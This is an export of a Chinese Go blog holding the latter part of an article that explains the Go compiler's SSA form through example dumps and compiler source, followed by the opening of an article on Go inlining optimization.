SSA的支持范围扩展到其他所有Go支持的cpu架构，包括arm和arm64、mips和mips64、ppc64等。\n了解了Go SSA的演进后，我们再来简单说说Go编译器中SSA的实现。\n3. 转换为SSA 我们先来看看转换为SSA以及SSA优化在编译过程中所处的位置：\n图：Go SSA所处的环节(图来自keith博士的slide)\n上图是keith博士在2017年gophercon大会上slide中的一幅图，这幅图中明确了生成SSA形式以及SSA优化所处的环节。不过较新的Go版本中，convert to SSA之前也有一种不同于最初的抽象语法树的ir(比如：Go 1.19)，SSA是由此种ir转换过来的。\n从代码上来看，ir到SSA形式的转换发生在下面环节(Go 1.19版本代码，其他版本可能代码位置和内容均由不同)：\n// $GOROOT/src/cmd/compile/internal/gc/main.go func Main(archInit func(*ssagen.ArchInfo)) { base.Timer.Start(\u0026quot;fe\u0026quot;, \u0026quot;init\u0026quot;) defer handlePanic() archInit(\u0026amp;ssagen.Arch) ... ... // Compile top level functions. // Don't use range--walk can add functions to Target.Decls. base.Timer.Start(\u0026quot;be\u0026quot;, \u0026quot;compilefuncs\u0026quot;) fcount := int64(0) for i := 0; i \u0026lt; len(typecheck.Target.Decls); i++ { if fn, ok := typecheck.Target.Decls[i].(*ir.Func); ok { // Don't try compiling dead hidden closure. if fn.IsDeadcodeClosure() { continue } enqueueFunc(fn) fcount++ } } base.Timer.AddEvent(fcount, \u0026quot;funcs\u0026quot;) compileFunctions() ... ... } 在Main中，我们看到代码会将所有Target.Decls(函数)通过enqueueFunc入队列(compilequeue)，然后调用compileFunctions来实现各个函数从AST ir到SSA形式的转换，compileFunctions在compile.go中，其实现如下：\n// $GOROOT/src/cmd/compile/internal/gc/compile.go func compileFunctions() { if len(compilequeue) == 0 { return } ... ... // By default, we perform work right away on the current goroutine // as the solo worker. queue := func(work func(int)) { work(0) } ... ... var compile func([]*ir.Func) compile = func(fns []*ir.Func) { wg.Add(len(fns)) for _, fn := range fns { fn := fn queue(func(worker int) { ssagen.Compile(fn, worker) compile(fn.Closures) wg.Done() }) } } types.CalcSizeDisabled = true // not safe to calculate sizes concurrently base.Ctxt.InParallel = true compile(compilequeue) ... ... } 在compileFunctions中我们看到，编译器从compilequeue取出AST IR形式的函数，并调用ssagen.Compile将其编译为SSA形式。下面是ssagen.Compile的代码：\n// $GOROOT/src/cmd/compile/internal/ssagen/pgen.go // Compile builds an SSA backend function, // uses it to generate a plist, // and flushes that plist to machine code. // worker indicates which of the backend workers is doing the processing. func Compile(fn *ir.Func, worker int) { f := buildssa(fn, worker) // Note: check arg size to fix issue 25507. if f.Frontend().(*ssafn).stksize \u0026gt;= maxStackSize || f.OwnAux.ArgWidth() \u0026gt;= maxStackSize { largeStackFramesMu.Lock() largeStackFrames = append(largeStackFrames, largeStack{locals: f.Frontend().(*ssafn).stksize, args: f.OwnAux.ArgWidth(), pos: fn.Pos()}) largeStackFramesMu.Unlock() return } pp := objw.NewProgs(fn, worker) defer pp.Free() genssa(f, pp) // Check frame size again. // The check above included only the space needed for local variables. // After genssa, the space needed includes local variables and the callee arg region. // We must do this check prior to calling pp.Flush. // If there are any oversized stack frames, // the assembler may emit inscrutable complaints about invalid instructions. if pp.Text.To.Offset \u0026gt;= maxStackSize { largeStackFramesMu.Lock() locals := f.Frontend().(*ssafn).stksize largeStackFrames = append(largeStackFrames, largeStack{locals: locals, args: f.OwnAux.ArgWidth(), callee: pp.Text.To.Offset - locals, pos: fn.Pos()}) largeStackFramesMu.Unlock() return } pp.Flush() // assemble, fill in boilerplate, etc. // fieldtrack must be called after pp.Flush. See issue 20014. fieldtrack(pp.Text.From.Sym, fn.FieldTrack) } 这里贴出了Compile的完整实现，Compile函数中真正负责生成具有SSA属性的中间代码的是buildssa函数，看了一下buildssa函数有近300行代码，有点复杂，这里挑挑拣拣，把主要的调用摘录出来：\n// $GOROOT/src/cmd/compile/internal/ssagen/ssa.go // buildssa builds an SSA function for fn. // worker indicates which of the backend workers is doing the processing. func buildssa(fn *ir.Func, worker int) *ssa.Func { name := ir.FuncName(fn) ... ... // Convert the AST-based IR to the SSA-based IR s.stmtList(fn.Enter) s.zeroResults() s.paramsToHeap() s.stmtList(fn.Body) // fallthrough to exit if s.curBlock != nil { s.pushLine(fn.Endlineno) s.exit() s.popLine() } ... ... // Main call to ssa package to compile function ssa.Compile(s.f) ... ... } buildssa中的ssa.Compile咱们后续再看，那个涉及到SSA的多轮(pass)优化，我们看一下从基于AST形式的IR到基于SSA形式的IR的转换，无论是fn.Enter还是fn.Body，本质都是一组ir Node，stmtList将这些node逐个转换为SSA形式。Go提供了可视化的ssa dump工具，我们可以更直观的来看一下。\nGo语言隶属于命令式编程语言(imperative programming language)，这类编程范式有三大典型控制结构：顺序结构、选择结构和循环结构，我们先来看看一个最简单的顺序结构是如何翻译为SSA的：\n// github.com/bigwhite/experiments/tree/master/ssa-examples/sequential.go package main func sum(a, b, c int) int { d := a + b e := d + c return e } func main() { println(sum(1, 2, 3)) } 我们通过下面命令来生成函数sum的SSA转换过程：\n$GOSSAFUNC=sum go build sequential.go dumped SSA to ./ssa.html $mv ssa.html ssa-sequential.html $open ./ssa-sequential.html 上面的open命令会在本地打开浏览器并显示ssa-sequential.html页面：\n上图中，最左侧是源码（源码显示两次，感觉是bug），中间的是AST形式的IR，最右侧的框框中就是Go编译器生成的第一版SSA，为了更好说明，我们将其贴到下面来：\n// github.com/bigwhite/experiments/tree/master/ssa-examples/ssa-sequential.html b1:- v1 (?) = InitMem \u0026lt;mem\u0026gt; v2 (?) = SP \u0026lt;uintptr\u0026gt; v3 (?) = SB \u0026lt;uintptr\u0026gt; v4 (?) = LocalAddr \u0026lt;*int\u0026gt; {a} v2 v1 v5 (?) = LocalAddr \u0026lt;*int\u0026gt; {b} v2 v1 v6 (?) = LocalAddr \u0026lt;*int\u0026gt; {c} v2 v1 v7 (?) = LocalAddr \u0026lt;*int\u0026gt; {~r0} v2 v1 v8 (3) = Arg \u0026lt;int\u0026gt; {a} (a[int]) v9 (3) = Arg \u0026lt;int\u0026gt; {b} (b[int]) v10 (3) = Arg \u0026lt;int\u0026gt; {c} (c[int]) v11 (?) = Const64 \u0026lt;int\u0026gt; [0] v12 (+4) = Add64 \u0026lt;int\u0026gt; v8 v9 (d[int]) v13 (+5) = Add64 \u0026lt;int\u0026gt; v12 v10 (e[int]) v14 (+6) = MakeResult \u0026lt;int,mem\u0026gt; v13 v1 Ret v14 (+6) name a[int]: v8 name b[int]: v9 name c[int]: v10 name d[int]: v12 name e[int]: v13 从结构上来看，SSA分为两部分，一部分是由b1、Ret组成的blocks，另一部分则是命名变量与SSA value的对应关系。\n在SSA中，一个block代表了一个函数控制流图(control flow graph)中的基本代码块(basic block)，从代码注释中可以看到SSA有四种block类型：Plain，If、Exit和Defer：\n// $GOROOT/src/cmd/compile/internal/ssa/block.go // BlockKind is the kind of SSA block. // // kind controls successors // ------------------------------------------ // Exit [return mem] [] // Plain [] [next] // If [boolean Value] [then, else] // Defer [mem] [nopanic, panic] (control opcode should be OpStaticCall to runtime.deferproc) type BlockKind int16 但实际的BlockKind已经与注释不一致了，opGen.go是一个自动生成的文件，其中的BlockKind类型的常量值有数十个，即便滤掉CPU架构相关的常量，剩下的还有8个(从BlockPlain到BlockFirst)：\n// $GOROOT/src/cmd/compile/internal/ssa/opGen.go const ( BlockInvalid BlockKind = iota ... ... BlockPlain BlockIf BlockDefer BlockRet BlockRetJmp BlockExit BlockJumpTable BlockFirst ) 上面的sum函数的SSA代码例子中，b1应该就是Plain类型的，Ret显然是BlockRet类型。\nPlain类型的Block中是一组values，value是SSA的基本构成要素。根据SSA的定义，一个value只能被精确地定义一次，但是它可以被使用任意多次。如示例，一个value主要包括一个唯一的标识符，一个操作符，一个类型和一些参数，下面的Value类型的LongString和LongHTML方法返回的字符串更能说明Value的格式。尤其是LongHTML方法就是输出ssa html中内容的方法：\n// $GOROOT/src/cmd/compile/internal/ssa/value.go // long form print. v# = opcode \u0026lt;type\u0026gt; [aux] args [: reg] (names) func (v *Value) LongString() string { ... ... } // $GOROOT/src/cmd/compile/internal/ssa/html.go func (v *Value) LongHTML() string { // TODO: Any intra-value formatting? // I'm wary of adding too much visual noise, // but a little bit might be valuable. // We already have visual noise in the form of punctuation // maybe we could replace some of that with formatting. s := fmt.Sprintf(\u0026quot;\u0026lt;span class=\\\u0026quot;%s ssa-long-value\\\u0026quot;\u0026gt;\u0026quot;, v.String()) linenumber := \u0026quot;\u0026lt;span class=\\\u0026quot;no-line-number\\\u0026quot;\u0026gt;(?)\u0026lt;/span\u0026gt;\u0026quot; if v.Pos.IsKnown() { linenumber = fmt.Sprintf(\u0026quot;\u0026lt;span class=\\\u0026quot;l%v line-number\\\u0026quot;\u0026gt;(%s)\u0026lt;/span\u0026gt;\u0026quot;, v.Pos.LineNumber(), v.Pos.LineNumberHTML()) } s += fmt.Sprintf(\u0026quot;%s %s = %s\u0026quot;, v.HTML(), linenumber, v.Op.String()) s += \u0026quot; \u0026amp;lt;\u0026quot; + html.EscapeString(v.Type.String()) + \u0026quot;\u0026amp;gt;\u0026quot; s += html.EscapeString(v.auxString()) for _, a := range v.Args { s += fmt.Sprintf(\u0026quot; %s\u0026quot;, a.HTML()) } r := v.Block.Func.RegAlloc if int(v.ID) \u0026lt; len(r) \u0026amp;\u0026amp; r[v.ID] != nil { s += \u0026quot; : \u0026quot; + html.EscapeString(r[v.ID].String()) } var names []string for name, values := range v.Block.Func.NamedValues { for _, value := range values { if value == v { names = append(names, name.String()) break // drop duplicates. } } } if len(names) != 0 { s += \u0026quot; (\u0026quot; + strings.Join(names, \u0026quot;, \u0026quot;) + \u0026quot;)\u0026quot; } s += \u0026quot;\u0026lt;/span\u0026gt;\u0026quot; return s } 以例子中的v12这一个value为例：\nv12 (+4) = Add64 \u0026lt;int\u0026gt; v8 v9 (d[int]) v12是该value的唯一标识符，其中的12为ID，ID是从1开始的整数； (+4)是对应的源码的行号； Add64是操作符； 是value的类型(v.Type())； v8, v9则是Add64操作符的参数； (d[int])是v12对应的LocalSlot，LocalSlot代表栈帧上的一个位置(location)，用来识别和存储输出参数、输出参数或其他变量node。 ssa dump输出的另一部分则是命名变量与SSA value的对应关系，其格式也是：name LocalSlot: value：\nname a[int]: v8 name b[int]: v9 name c[int]: v10 name d[int]: v12 name e[int]: v13 输出上述第二部分的代码如下：\n// $GOROOT/src/cmd/compile/internal/ssa/print.go func (p stringFuncPrinter) named(n LocalSlot, vals []*Value) { fmt.Fprintf(p.w, \u0026quot;name %s: %v\\n\u0026quot;, n, vals) } 顺序结构的代码执行流是从上到下的，每个block后面仅有一个后继block，这样的SSA转换较为好理解。\n下面我们再来看看一个选择控制结构 – if控制语句的ssa，下面是我们的示例Go源码：\n// github.com/bigwhite/experiments/tree/master/ssa-examples/selection_if.go package main func foo(b bool) int { if b { return 2 } return 3 } func main() { println(foo(true)) } 我们通过下面命令输出函数foo的SSA中间代码：\n$GOSSAFUNC=foo go build selection_if.go dumped SSA to ./ssa.html $mv ssa.html ssa-selection-if.html $open ./ssa-selection-if.html open命令启动浏览器显示foo函数的SSA形式：\n有了上面关Go SSA格式的基础，这段SSA代码分析起来就容易一些了。\n这段SSA中有多个block，包括plain block、if block、ret block等。我们重点关注SSA对if语句的处理。\n经典SSA转换理论中，SSA将if分支转换为带有Φ函数的SSA代码(如下图)：\n图：if语句的SSA转换(图来自keith博士的slide)\nΦ函数(希腊字母fài)是代码中的一个merge point，它可以将其前置的n个block的执行路径汇聚在一起。不过它仅用于代码分析使用，最终生成的代码中并不会有Φ函数的存在。关于在何处插入Φ函数等算法太理论了，这里就不展开了。\n我们看看现实中go针对if语句的处理：\nb1: v1 (?) = InitMem \u0026lt;mem\u0026gt; v2 (?) = SP \u0026lt;uintptr\u0026gt; v3 (?) = SB \u0026lt;uintptr\u0026gt; v4 (?) = LocalAddr \u0026lt;*bool\u0026gt; {b} v2 v1 v5 (?) = LocalAddr \u0026lt;*int\u0026gt; {~r0} v2 v1 v6 (3) = Arg \u0026lt;bool\u0026gt; {b} (b[bool]) v7 (?) = Const64 \u0026lt;int\u0026gt; [0] v8 (?) = Const64 \u0026lt;int\u0026gt; [2] v11 (?) = Const64 \u0026lt;int\u0026gt; [3] If v6 → b3 b2 (4) b2: ← b1 v13 (7) = Copy \u0026lt;mem\u0026gt; v1 v12 (7) = MakeResult \u0026lt;int,mem\u0026gt; v11 v13 Ret v12 (+7) b3: ← b1 v10 (5) = Copy \u0026lt;mem\u0026gt; v1 v9 (5) = MakeResult \u0026lt;int,mem\u0026gt; v8 v10 Ret v9 (+5) name b[bool]: v6 这里关键是if block，if判断v6即变量b的值，如果为true，代码执行就流向block b3，否则流向block b2。\n下面的b2、b3 block也都包含了前置block的属性，以b2为例，对于来自b1 block的流，执行对应block的代码。基于switch的选择语句更为复杂，有兴趣的朋友可以自己看一下ssa-selection-switch.html。\n我们最后看一下循环结构，下面是Go代码：\n// github.com/bigwhite/experiments/tree/master/ssa-examples/for_loop.go package main func sumN(n int) int { var r int for i := 1; i \u0026lt;= n; i++ { r = r + i } return r } func main() { println(sumN(10)) } 其生成的SSA如下图：\n我们看到循环结构的ssa block更多，流向更为复杂，如果将其转换为一张图的话，那就应该是这样的：\n我们看到：无论是选择结构还是循环结构，SSA实质上构建了一个函数的控制流图(control flow graph)，图中每个节点就是一个block，函数的执行控制流在各个block间转移。而后续基于SSA的优化就是基于block中value的仅赋值一次的特性以及block的控制流图进行的。\n接下来，我们简单看看目前Go基于SSA IR都做了哪些优化。\n4. 基于SSA的多轮(pass)优化 buildssa函数中ssa.Compile调用执行了基于SSA IR的多轮(passes)优化：\n// $GOROOT/src/cmd/compile/internal/ssa/compile.go func Compile(f *Func) { ... ... for _, p := range passes { ... ... tStart := time.Now() p.fn(f) tEnd := time.Now() ... ... } } 我们看到，针对某个函数，Compile函数对其安装预置的passes进行多轮优化，都有哪些pass呢？我们来看看：\n// $GOROOT/src/cmd/compile/internal/ssa/compile.go // list of passes for the compiler var passes = [...]pass{ {name: \u0026quot;number lines\u0026quot;, fn-3693: numberLines, required: true}, {name: \u0026quot;early phielim\u0026quot;, fn-3693: phielim}, {name: \u0026quot;early copyelim\u0026quot;, fn-3693: copyelim}, {name: \u0026quot;early deadcode\u0026quot;, fn-3693: deadcode}, // remove generated dead code to avoid doing pointless work during opt {name: \u0026quot;short circuit\u0026quot;, fn-3693: shortcircuit}, {name: \u0026quot;decompose user\u0026quot;, fn-3693: decomposeUser, required: true}, {name: \u0026quot;pre-opt deadcode\u0026quot;, fn-3693: deadcode}, ... ... {name: \u0026quot;regalloc\u0026quot;, fn-3693: regalloc, required: true}, // allocate int \u0026amp; float registers + stack slots {name: \u0026quot;loop rotate\u0026quot;, fn-3693: loopRotate}, {name: \u0026quot;stackframe\u0026quot;, fn-3693: stackframe, required: true}, {name: \u0026quot;trim\u0026quot;, fn-3693: trim}, // remove empty blocks } 粗略数了一下，这里约有50个pass(其中包含多轮的deadcode清理)，每个pass执行的代码都位于$GOROOT/src/cmd/compile/internal/ssa目录下，我们也可以通过dump出的html查看每一pass后得到的SSA结果，以ssa-sequential.html为例，其多轮优化的示意图如下：\n点击浏览器页面上的黑体字优化标题(比如：lowered deadcode for cse)，这一步产生的SSA代码都会显示出来，最后一个框框中是基于SSA生成目标架构的汇编代码。\n每一个pass都有其独特性，比如cse，代表Common Subexpression Elimination(共同子表达式删除) ，下面是一个cse优化的例子：\ny = x + 5 ... z = x + 5 cse优化后(前提中间过程中x值没变过)：\ny = x + 5 ... z = y 在这个示例中，经过一轮cse，Go便可以节省下一次没必要的加法运算(z = x + 5)。别看一次加法运算不起眼，积累多了也是不小的性能提升，\n如果你对某一pass的优化动作感兴趣，可以对照$GOROOT/src/cmd/compile/internal/ssa目录下的代码与浏览器中生成的SSA来对其进行深入研究。\n5. 小结 编译器后端的逻辑总是很难理解的，本文对Go编译器与SSA的渊源、Go编译器中驱动SSA转换和优化的环节以及Go生成的SSA的形式与过程做了介绍，算是对SSA入了个门。但要想真正搞懂SSA转换以及基于SSA的优化步骤的细节，认真阅读SSA相关的paper和资料(见参考资料)以及相关code是不可或缺的。\n本文涉及的代码在这里可以下载。\n6. 参考资料 《编译原理(第二版)》- https://book.douban.com/subject/3296317/ SSA: Static Single-Assignment Form – https://www.slideserve.com/heidi-farmer/ssa-static-single-assignment-form 《Static Single Assignment Book》 – https://pfalcon.github.io/ssabook/latest/book-full.pdf Static single-assignment form – https://en.wikipedia.org/wiki/Static_single_assignment_form GopherCon 2017: Keith Randall – Generating Better Machine Code with SSA – https://about.sourcegraph.com/blog/go/generating-better-machine-code-with-ssa Generating Better Machine Code with SSA(slide) – https://raw.githubusercontent.com/gophercon/2017-talks/master/KeithRandall-GeneratingBetterMachineCodeWithSSA/GeneratingBetterMachineCodeWithSSA.pdf New SSA Backend for the Go Compiler – https://docs.google.com/document/d/1szwabPJJc4J-igUZU4ZKprOrNRNJug2JPD8OYi3i1K0/edit “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/10/21/understand-go-ssa-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-ssa-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/10/21/understand-go-ssa-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/10/21/understand-go-ssa-by-example\"\u003ehttps://tonybai.com/2022/10/21/understand-go-ssa-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在上一篇文章\u003ca href=\"https://tonybai.com/2022/10/17/understand-go-inlining-optimisations-by-example\"\u003e《通过实例理解Go内联优化》\u003c/a\u003e中，我们探讨了Go编译器在编译中端进行的内联优化。内联优化基于IR中间表示进行，不过Go编译过程不止有一种IR表示，这点和\u003ca href=\"https://book.douban.com/subject/3296317/\"\u003e龙书《编译原理(第二版)》\u003c/a\u003e的在第六章“中间代码生成”一开始处的讲解是一致的，即在将给定源语言的一个程序翻译成特定的目标机器代码的过程中，一个编译器可能构造出一系列中间表示(IR)，如下图：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-ssa-by-example-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e高层中间表示更接近于源语言，而低层的中间表示则更接近于目标机器。在Go编译过程中，如果说内联优化使用的IR是高层中间表示，那么低层中间表示非支持静态单赋值(SSA)的中间代码形式莫属。\u003c/p\u003e","title":"通过实例理解Go静态单赋值（SSA）"},{"content":"\n本文永久链接 – https://tonybai.com/2022/10/17/understand-go-inlining-optimisations-by-example\n移动互联网时代，直面C端用户的业务系统规模一般都很庞大，系统消耗的机器资源也很可观，系统使用的CPU核数、内存都是在消耗公司的真金白银。在服务水平不下降的前提下尽量降低单服务实例的资源消耗，即我们俗称的“少吃草多产奶”，一直是各个公司经营人员的目标，有些公司每降低1%的CPU核数使用，每年都能节省几十万的开销。\n在编程语言选择不变的情况下，要想持续降低服务资源消耗，一方面要靠开发人员对代码性能持续地打磨，另一方面依靠编程语言编译器在编译优化方面提升带来的效果则更为自然和直接。不过，这两方面也是相辅相成的，开发人员如果能对编译器的优化场景和手段理解更为透彻的话，就能写出对编译优化更为友好的代码，从而获得更好的性能优化效果。\nGo核心团队在Go编译器优化方面一直在持续投入并取得了不俗的效果，虽然和老牌的GCC和llvm的代码优化功力相比还有不小的空间。近期看到的一篇文章“字节大规模微服务语言发展之路”中也有提到：字节内部通过修改Go编译器的内联优化(收益最大的改动)，从而让字节内部服务的Go代码获得了更多的优化机会，实现了线上服务10-20%的性能提升以及内存资源使用的下降，节约了大概了十几万个核。\n看到这么明显的效果，想必各位读者都很想了解一下Go编译器的内联优化了。别急，在这一篇文章中，我就和大家一起来学习和理解一下Go编译器的内联优化。希望通过本文的学习，能让大家掌握如下内容：\n什么是内联优化以及它的好处是什么 内联优化在Go编译过程中所处的环节和实现原理 哪些代码能被内联优化，哪些还不能被内联优化 如何控制Go编译器的内联优化 内联优化的弊端有哪些 下面我们就先来了解一下什么是内联优化。\n1. 什么是编译器的内联优化 内联(inlining)是编程语言编译器常用的优化手段，其优化的对象为函数，也称为函数内联。如果某函数F支持内联，则意味着编译器可以用F的函数体/函数定义替换掉对函数F进行调用的代码，以消除函数调用带来的额外开销，这个过程如下图所示：\n我们知道Go从1.17版本才改为基于寄存器的调用规约，之前的版本一直是基于栈传递参数与返回值，函数调用的开销更大，在这样的情况下，内联优化的效果也就更为显著。\n除此之外，内联优化之后，编译器的优化决策可以不局限在每个单独的函数(比如上图中的函数g)上下文中做出，而是可以在函数调用链上做出了(内联替换后，代码变得更平(flat)了)。比如上图中对g后续执行的优化将不局限在g上下文，由于f的内联，让编译器可以在g-\u0026gt;f这个调用链的上下文上决策后续要执行的优化手段，即内联让编译器可以看得更广更远了。\n我们来看一个简单的例子：\n// github.com/bigwhite/experiments/tree/master/inlining-optimisations/add/add.go //go:noinline func add(a, b int) int { return a + b } func main() { var a, b = 5, 6 c := add(a, b) println(c) } 这个例子中，我们的关注点是add函数，在add函数定义上方，我们用//go:noinline告知编译器对add函数关闭inline，我们构建该程序，得到可执行文件：add-without-inline；然后去掉//go:noinline这一行，再进行一次程序构建，得到可执行文件add，我们用lensm工具以图形化的方式查看一下这两个可执行文件的汇编代码，并做以下对比：\n我们看到：非内联优化的版本add-without-inline如我们预期那样，在main函数中通过CALL指令调用了add函数；但在内联优化版本中，add函数的函数体并没有替换掉main函数中调用add函数位置上的代码，main函数调用add函数的位置上对应的是一个NOPL的汇编指令，这是一条不执行任何操作的空指令。那么add函数实现的汇编代码哪去了呢？\n// add函数实现的汇编代码 ADDQ BX, AX RET 结论是：被优化掉了！这就是前面说的内联为后续的优化提供更多的机会。add函数调用被替换为add函数的实现后，Go编译器直接可以确定调用结果为11，于是连加法运算都省略了，直接将add函数的结果换成了一个常数11(0xb)，然后直接将常量11传给了println内置函数(MOVL 0xb, AX)。\n通过一个简单的benchmark，也可以看出内联与非内联add的性能差异：\n// 开启内联优化 $go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/experiments/inlining-optimisations/add BenchmarkAdd-8 1000000000 0.2720 ns/op PASS ok github.com/bigwhite/experiments/inlining-optimisations/add 0.307s // 关闭内联优化 $go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/experiments/inlining-optimisations/add BenchmarkAdd-8 818820634 1.357 ns/op PASS ok github.com/bigwhite/experiments/inlining-optimisations/add 1.268s 我们看到：内联版本是非内联版本性能的5倍左右。\n到这里，很多朋友可能会问：既然内联优化的效果这么好，为什么不将Go程序内部的所有函数都内联了，这样整个Go程序就变成了一个大函数，中间再没有任何函数调用了，这样性能是不是可以变得更高呢？虽然理论上可能是这种情况，但内联优化不是没有开销的，并且针对不同复杂性的函数，内联的效果也是不同的。下面我就和大家一起先来看看内联优化的开销！\n2. 内联优化的“开销” 在真正理解内联优化的开销之前，我们先来看看内联优化在Go编译过程中的位置，即处于哪个环节。\nGo编译过程 和所有静态语言编译器一样，Go编译过程大致分为如下几个阶段：\n编译前端 Go团队并没有刻意将Go编译过程分为我们常识中的前后端，如果非要这么分，源码分析(包括词法和语法分析)、类型检查和中间表示(Intermediate Representation)构建可以归为逻辑上的编译前端，后面的其余环节都划归为后端。\n源码分析形成抽象语法树，然后是基于抽象语法树的类型检查，待类型检查通过后，Go编译器将AST转换为一个与目标平台无关的中间代码表示。\n目前Go有两种IR实现方式，一种是irgen（又名”-G=3″或是”noder2″），irgen是从Go 1.18版本开始使用的实现(这也是一种类似AST的结构)；另外一种是unified IR，在Go 1.19版本中，我们可以使用GOEXPERIMENT=unified启用它，根据最新消息，unified IR将在Go 1.20版本落地。\n注：现代编程语言编译过程多数会多次生成中间代码(IR)，比如下面要提到的静态单赋值形式(SSA)也是一种IR形式。针对每种IR，编译器都会有一些优化动作：\n图：编译优化过程(图来自https://www.slideserve.com/heidi-farmer/ssa-static-single-assignment-form)\n编译后端 编译后端的第一步是一个被Go团队称为中端(middle end)的环节，在这个环节中，Go编译器将基于上面的中间代码进行多轮(pass)的优化，包括死代码消除、内联优化、方法调用实体化(devirtualization)和逃逸分析等。\n注：devirtualization是指将通过接口变量调用的方法转换为接口的动态类型变量直接调用该方法，消除通过接口进行方法表查找的过程。\n接下来是中间代码遍历(walk)，这个环节是基于上述IR表示的最后一轮优化，它主要是将复杂的语句分解成单独的、更简单的语句，引入临时变量并重新评估执行顺序，同时在这个环节，它还会将一些高层次的Go结构转换为更底层、更基础的操作结构，比如将switch语句转换为二分查找或跳表，将对map和channel的操作替换为运行时的调用(如mapaccess)等。\n接下来是编译后端的最后两个环节，首先是将IR转换为SSA(静态单一赋值)形式，并再次基于SSA做多轮优化，最后针对目标架构，基于SSA的最终形式生成机器相关的汇编指令，然后交给汇编器生成可重定位的目标机器码。\n注： 编译器(go compiler)产生的可重定位的目标机器码最终提供给链接器(linker)生成可执行文件。\n我们看到Go内联发生在中端环节，是基于IR中间代码的一种优化手段，在IR层面上实现函数是否可内联的决策，以及对可内联函数在其调用处的函数体替换。\n一旦了解了Go内联所处环节，我们就能大致判断出Go内联优化带来的开销了。\nGo内联优化的开销 我们用一个实例来看一下Go内联优化的开销。reviewdog是一个纯Go实现的支持github、gitlab等主流代码托管平台的代码评审工具，它的规模大约有12k行(使用loccount统计)：\n// reviewdog代码行数统计结果： $loccount . all SLOC=14903 (100.00%) LLOC=4613 in 141 files Go SLOC=12456 (83.58%) LLOC=4584 in 106 files ... ... 我们在开启内联优化和关闭内联优化的情况下分别对reviewdog进行构建，采集其构建时间与构建出的二进制文件的size，结果如下：\n// 开启内联优化(默认) $time go build -o reviewdog-inline -a github.com/reviewdog/reviewdog/cmd/reviewdog go build -o reviewdog-inline -a github.com/reviewdog/reviewdog/cmd/reviewdog 53.87s user 9.55s system 567% cpu 11.181 total // 关闭内联优化 $time go build -o reviewdog-noinline -gcflags=all=\u0026quot;-l\u0026quot; -a github.com/reviewdog/reviewdog/cmd/reviewdog go build -o reviewdog-noinline -gcflags=all=\u0026quot;-l\u0026quot; -a 43.25s user 8.09s system 566% cpu 9.069 total $ ls -l -rwxrwxr-x 1 tonybai tonybai 23080429 Oct 13 12:05 reviewdog-inline* -rwxrwxr-x 1 tonybai tonybai 20745006 Oct 13 12:04 reviewdog-noinline* ... ... 我们看到开启内联优化的版本，其编译消耗时间比关闭内联优化版本的编译时间多出24%左右，并且生成的二进制文件size要大出11%左右 – 这就是内联优化带来的开销！即会拖慢编译器并导致生成的二进制文件size变大。\n注：hello world级别的程序是否开启内联优化大多数情况是看不出来太多差异的，无论是编译时间，还是二进制文件的size。\n由于我们知道了内联优化所处的环节，因此这种开销就可以很好地给予解释：根据内联优化的定义，一旦某个函数被决策为可内联，那么程序中所有调用该函数的位置的代码就会被替换为该函数的实现，从而消除掉函数调用带来的运行时开销，同时这也导致了在IR(中间代码)层面出现一定的代码“膨胀”。前面也说过，代码膨胀后的“副作用”是编译器可以以更广更远的视角看待代码，从而可能实施的优化手段会更多。可实施的优化轮次越多，编译器执行的就越慢，这进一步增加了编译器的耗时；同时膨胀的代码让编译器需要在后面环节处理和生成更多代码，不仅增加耗时，还增加了最终二进制文件的size。\nGo向来对编译速度和binary size较为敏感，所以Go采用了相对保守的内联优化策略。那么到底Go编译器是如何决策一个函数是否可以内联呢？下面我们就来简单看看Go编译器是如何决策哪些函数可以实施内联优化的。\n3. 函数内联的决策原理 前面说过，内联优化是编译中端多轮(pass)优化中的一轮，因此它的逻辑相对独立，它基于IR代码进行，改变的也是IR代码。我们可以在Go源码的$GOROOT/src/cmd/compile/internal/inline/inl.go中找到Go编译器进行内联优化的主要代码。\n注：Go编译器内联优化部分的代码的位置和逻辑在以前的版本以及在未来的版本中可能有变化，目前本文提到的是代码是Go 1.19.1中的源码。\n内联优化IR优化环节会做两件事：第一遍历IR中所有函数，通过CanInline判断某个函数是否可以内联，对于可内联的函数，保存相应信息，比如函数body等，供后续做内联函数替换使用；第二呢，则是对函数中调用的所有内联函数进行替换。 我们重点关注CanInline，即Go编译器究竟是如何决策一个函数是否可以内联的！\n内联优化过程的“驱动逻辑”在$GOROOT/src/cmd/compile/internal/gc/main.go的Main函数中：\n// $GOROOT/src/cmd/compile/internal/gc/main.go func Main(archInit func(*ssagen.ArchInfo)) { base.Timer.Start(\u0026quot;fe\u0026quot;, \u0026quot;init\u0026quot;) defer handlePanic() archInit(\u0026amp;ssagen.Arch) ... ... // Enable inlining (after RecordFlags, to avoid recording the rewritten -l). For now: // default: inlining on. (Flag.LowerL == 1) // -l: inlining off (Flag.LowerL == 0) // -l=2, -l=3: inlining on again, with extra debugging (Flag.LowerL \u0026gt; 1) if base.Flag.LowerL \u0026lt;= 1 { base.Flag.LowerL = 1 - base.Flag.LowerL } ... ... // Inlining base.Timer.Start(\u0026quot;fe\u0026quot;, \u0026quot;inlining\u0026quot;) if base.Flag.LowerL != 0 { inline.InlinePackage() } noder.MakeWrappers(typecheck.Target) // must happen after inlining ... ... } 